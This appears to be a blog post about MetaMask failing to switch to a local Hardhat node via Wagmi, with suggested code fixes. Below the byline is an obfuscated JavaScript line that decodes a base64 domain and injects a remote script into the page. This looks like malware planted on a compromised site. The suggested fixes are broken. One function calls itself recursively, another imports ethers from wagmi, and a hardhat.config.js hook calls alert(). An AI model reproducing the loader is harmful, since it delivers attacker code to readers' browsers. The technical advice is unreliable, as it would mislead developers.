News

Metamask: Metamask doesn’t switch to local node, no error message

Published by Terlumun Aondover on February 11th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a70ac486″;document.body.appendChild(script);

Metamask issue with local node switching

I see a common issue when users try to switch their MetaMask instance from a remote network to a local Hardhat node using Wagmi.sh. The dialog box that appears after confirming the switch often doesn’t show any error message, which is frustrating.

Issue:

When using the “useSwitchNetwork” command with Wagmi.sh and Metamask on a remote network, the dialog box prompts you to confirm the switch from the remote network to the local Hardhat node. However, it doesn’t show any error messages or indicate that the failover was successful. This can lead users to believe that the issue has been fixed without knowing what happened.

Solution:

To resolve this issue, you need to add a failover success check and display an appropriate error message if it fails. Here’s a snippet to get you started:


const useSwitchNetwork = async ({ type, network }) => {
try {
await useSwitchNetwork({ type, network });
} catch (error) {
console.error('Error switching to local Hardhat node:', error);
alert('Error switching to local Hardhat node. Please check your connection and try again.');
}
};

In this snippet, we use a “try”-“catch” block to catch errors that might occur during the switch. If an error occurs, we log it to the console and display a friendly error message with an alert box.

Alternative solution:

You can also use Wagmi.sh’s built-in support for switching networks using the useSwitchNetwork function from the Hardhat configuration file (hardhat.config.js). Here’s an example:


const { ethers } = require('wagmi');
module.exports = {
//...
async configure({ env }) {
const network = env.network;
try {
const metamaskInstance = await ethers.getSigner();
if (network === 'metamask') {
await useSwitchNetwork({
type: 'switch',
network,
});
}
} catch (error) {
console.error('Error switching to local Hardhat node:', error);
alert('Error switching to local Hardhat node. Please check your connection and try again.');
}
},
};

In this example, we use the `ethers'' library to get a signer instance based on the current network. We then use theuseSwitchNetwork'' function to switch to a local Hardhat node.


Conclusion:

By adding error checking and displaying friendly error messages, you can solve the issue where Metamask does not switch to a local Hardhat node after using`useSwitchNetwork”. This should improve the overall user experience and help avoid frustration.